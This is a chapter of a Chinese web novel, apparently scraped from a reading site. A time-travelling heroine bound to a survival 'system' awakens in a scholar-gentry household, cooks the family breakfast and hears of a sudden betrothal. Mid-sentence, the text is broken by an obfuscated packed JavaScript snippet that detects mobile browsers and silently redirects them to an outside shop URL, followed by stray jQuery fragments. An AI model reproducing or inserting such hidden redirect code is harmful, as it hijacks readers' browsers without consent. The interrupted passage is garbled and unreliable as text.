默认冷灰
24号文字
方正启体

1. 第1章

作者:丰沛本书字数:K更新时间:
    大顺永靖二十九年四月初一,南直隶阳湖县,阴云密布,夜色沉沉压下。


    “……检测到宿主死亡,通关失败。第二世开启,失败惩罚,第二世宿主必须活到八十岁,寿终正寝,才能回到现世……嘀嘀!”


    咔嚓一声,霹雳似要撕裂苍穹,一道白光,直射床榻而来。


    陈婉紃(xun,二音)猛地张开眼睛,双耳轰鸣,头痛欲裂,她伸直双手在虚空中胡乱挥舞,惊恐地大口大口喘息。


    她好像“死”了。


    可怎么死的,为什么死,她脑子里却是一片空白,只有“通关失败”四个字在脑海深处滋滋作响。


    又一道电光,照亮了她苍白软嫩的手,这是一双少女的手。


    短暂的空白过后,陈婉紃过往的现世岁月,一帧一帧的清晰回放。


    她想起来了,她一时好奇,被迫绑定了一个“100%原生态生存体验”系统,必须通关,才能回到现实。


    通关条件是她在古代活到七十岁,寿终正寝。


    可怎么就失败了?


    失败的惩罚是系统给她安排第二世,这一世要活到八十岁!


    第一世只要活到七十岁,她都没有通关,惨死失败。第二世要活到八十岁,“怎么办,怎么办?”陈婉紃喃喃自语,绝望地仰起脸,久久注视忽明忽暗的帐顶。


    不对。


    第一世惨死失败,第二世重启,她应该是从一个婴孩开始,而不是现在的少女,还是说失败了可以存档重来。


    “系统,系统……”陈婉紃用意念呼叫系统。


    脑海中电流噼啪乱响,系统像是能量耗尽前的挣扎:


    “宿主你的想法很危险,每一世失败,都要清零重来,这一次是出了个意外,哔哔哔——”说到关键处,系统能量耗尽,陷入沉眠。


    系统没有来得及告诉陈婉紃的是,上一世有人以命换命想要救她,虽然没有成功,却爆发出惊人的能量,扰乱了第二世的开启。


    这些陈婉紃不知道,她被送回了第一世的十七岁零九十天,之后的记忆被清零,她不记得了。


    外面的惊雷暴雨渐渐小了,陈婉紃昏昏沉沉睡去又醒来,窗外安静了,雨停了。


    谯楼的报时鼓“咚咚”敲响,鼓声紧一声慢一声响了五声,隆隆鼓声弥漫整个县城。这是亮更鼓,向全县官民报时,五点了,天明了。


    对于诗书耕读传家的陈家,亮更鼓,意味着该起床了。


    大清早天还没有亮透,就要起床,日日如此,年年如此,不分冬夏秋春。


    陈婉紃抱着被子痛苦地滚了几滚,才万般无奈地抱膝坐起来,下巴搁在膝盖上,出了一会儿神,给自己最后几分钟自由随性。


    时间到,属于陈婉紃自己的时间结束。


    她撩开床帐,虽一夜难眠,雪白的面孔上却不见憔悴,柔黑的眼眸蕴着浅笑。她眉眼生得极为姣媚,却丰神秀洁、蔼然春风,让人只觉一派书香闺秀的清丽,不敢生出它想。


    推开厢房门,吸一口雨后微凉的空气,陈婉紃不由紧了紧身上窄袖细布夹袄,抬头望了望,天空已经泛起了鱼肚白。


    “四小姐,起来啦,洗脸水兑好了,老婆子这就端进去。”刘妈听到响声,从厨房探出头说了声,便端着一盆温热的洗脸水,送进西厢房。


    陈婉紃洗了脸,简单地梳了头发,插了一支木簪,进了厨房。


    刘妈是陈家雇的仆妇,做洒扫、洗衣、烧火等粗活,烧饭做菜这种细活儿还得陈家女眷操持。


    阳湖陈氏乃南直隶的缙绅大族,但是他们这一支是分支。陈婉紃的祖父早逝,留下孤儿寡母,陈婉紃的祖母将三个年幼的孩子抚养长大,受尽磨难。


    陈家世代诗书,子弟全力走科举之路。


    然而科举这条路却是极为艰难残酷的。


    陈婉紃的伯父资性敏慧,小小年纪就在陈氏家塾出了名,被族中长辈视为读书种子。十六岁阳湖县县考取了第一名案首,常州府府考又取了第一名,第二年到南直隶应天府南京城参加院试,由提督南直隶学政准准又取了案首第一名。


    县试、府试、院试全都为第一,称为“小三元”。


    还是十七岁的俊秀少年。


    天下科举兴盛江南为第一,陈婉紃的伯父霎时名扬江南。


    然而,或许是天妒英才,陈婉紃的伯父以县试、府试、院试皆第一的威名考中秀才,乡试却连连受挫。终于在第三次乡试时以第十一名取中举人。


    此时距他考中秀才已足足过了九年。


    考中举人之后,陈婉紃的伯父每逢大比之年,都要北上京城,却每次都名落孙山。


    如今已年过半百。


    陈婉紃的父亲也考中了秀才,却也蹉跎于乡试。


    堂兄亦是被称作读书种子,不到二十岁便是秀才。伯父怕堂兄步他后尘,不让堂兄早早考乡试,而是带着堂兄一起进京,让他开阔眼界、长了见识后再赴南京参加江南乡试。


    在科举这种残酷的零和博弈游戏中,不仅要求应考的士子资质出众,更要士子的家庭钱财上倾力支持。


    陈家的银钱,首要是供一名举人、两位秀才连年科举。其次是祖母,其他人排在后面。


    这次会试,伯父志在必得,陈家倾囊以尽,将家里积存的银两几乎全部给伯父带上。


    一大家子女眷,为了节省雇仆人的费用,每日饭食由儿媳、孙女们轮番操持。


    今日便轮到了陈婉紃。


    陈家祖母不重口腹之欲,一日三餐,都很简淡。一般早饭都是焖一锅菜饭,配一碗时令的汤。


    “四小姐,按照你的吩咐,米淘净后我就用清水浸泡了,现在有半个时辰了。”刘妈满面堆笑地说。


    几位奶奶、小姐中,轮到四小姐操持家务细活时,刘妈最欢喜。


    这倒不是四小姐手最巧、最利索。四小姐也不是最讲究的。论心灵手巧,没人比得上二小姐。论嘴刁,三小姐数第二没人敢得第一。


    但是四小姐是最爱惜人的,不论是她自个还是别人。


    四小姐说每日用的水是从深井里打的,寒浸浸的冻骨头。四小姐一向懂事,也不像三小姐讲究吃穿,惟独对自个身子骨在意万分,非得说冷水浸泡多了伤身。


    在北边给人做幕僚的二老爷喜欢摆弄一些稀奇古怪的物件,二老爷一次回家特特带回几大袋子黑魆魆的东西。说是煤块,京城里的小门小户和饭铺茶房烧水煮饭都用煤块。


    在他们阳湖县却没见人用过,一摸一手黑,很难洗净,众人都不愿碰。


    仙女儿似的四小姐,也不嫌脏,又是黄泥又是黑黢黢的煤块,日日抓摸,弄出了带眼的煤饼子。她又让二老爷把烧炭煮茶的风炉子拿去铁匠铺改动,打了个怪模怪样的长筒子和铁炉子。


    把那带眼的煤饼子,放进铁炉子,下边燃一个,上面盖一个,一夜都不熄灭。一日十二个时辰都有热


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405870|200505||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    水用。


    炉盖上日日坐一个大铜壶,寒冬腊月,刘妈浆洗擦抹也不缺热水用,少受了多少罪,刘妈喜得念佛,心里头便最亲近四小姐。


    “半个时辰够了。”


    桌案上放着刘妈切好的青菜和咸肉,陈婉紃满意点头,“刘妈,烧火吧。”


    刘妈没用火镰,取了一支长蜡烛,对着铁火炉点燃烛芯,用烛火轻松地引燃了稻草秸秆。


    这也是四小姐的主意。


    她嫌每次打火镰不方便,要么打不出火,要么引不着稻草秸秆,有时不小心还会烧着手,特意取了支长蜡烛放在厨房。


    其他奶奶、小姐刚见了蜡烛颇为吃惊,暗地嘀咕要是让大老爷知道了,八成要责怪她们不知爱惜物件。但是只要用过一次,谁都不肯再吭呲吭呲打火镰了。


    大老爷治家俭朴。


    可大老爷常年在外,忙着参加会试、交友、书院讲学等等正经大事。就算回到阳湖家里,也是君子远庖厨。不让大老爷知道不就行了。


    四世同堂,一大家子住在一起,难免勺子碰了碗,牙齿咬了唇,陈婉紃被迫习惯。为了活下去,努力磨平上辈子的一身刺。


    只是为了少受罪、不受伤,为了自个身子骨好,她不得不折腾折腾。其他时候都和光同尘,做一个娴雅淑惠的诗书之家的闺秀。


    刘妈往灶膛里塞一把稻草秸,然后接一根硬柴,大火猛烧。


    陈婉紃舀一勺菜油,油热放青菜,旺火煸炒。再下浸泡过的大米,加水、加咸肉丁,一起大火烧开,米饭焖透,打开锅盖,浇一勺猪油拌匀,喷香扑鼻。


    煮好菜饭,又做了一道蛋花豆腐汤,切一盘咸鸭蛋,一碟腌雪里蕻咸菜,这一餐简素的早饭便做好了。


    大伯父带着堂兄在京城,父亲领着二姐夫在山东,弟弟才九岁,陈家一家子老弱妇孺留在阳湖。陈婉紃带着刘妈将早饭摆在了饭厅。


    老太太等人早已起身。


    陈家讲究食不言寝不语,陈婉紃一早就忙碌,虽然饭菜简单,可家里人多,量大。煮这一餐饭,她还是挺累的。


    胃口不太好,她默默吃了几口饭,目光不由散漫落在旁人身上。


    她突然发觉大伯母嘴角起了一圈火燎泡,人愣愣的,筷子差点插进鼻孔里,一副上火失神的样子。三姐姐手里的饭碗一口没动,着急地盯着大伯母。


    她们母女俩像热锅上的蚂蚁一样焦虑不堪。


    “老太太,河南归德卫指挥使高大人前来拜访。”门房张伯双手捧着红锦拜贴,进来通传。


    “河南归德卫指挥使?”老太太起身接过拜帖,一脸的疑惑不解。


    “母亲,”大太太猛地起身,险些带翻她坐的凳子,一屋子的人不由地都望向她,“儿媳有桩事要禀报母亲。”


    老太太让她吓一跳,顾不得看拜帖,连忙问什么事。


    “三丫头的亲事定了,”大太太声音急促地说道,“我娘家弟弟亲自做的媒,即日就要行聘礼……”


    大太太说得慌里慌张、颠三倒四,还当着孩子们的面,老太太又生气又疑惑,“这是说这些话的场合吗?”


    大太太面红耳赤,她知道自己失态了,可为了女儿的终身,她必须说,“母亲,儿媳知错,儿媳只是想禀报母亲三丫头已聘了人。”


    说完,大太太看了陈婉紃一眼,满脸的如释重负,以及几分抱歉和怜悯。


    陈婉紃悚然一惊,大伯母为何如此看她?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)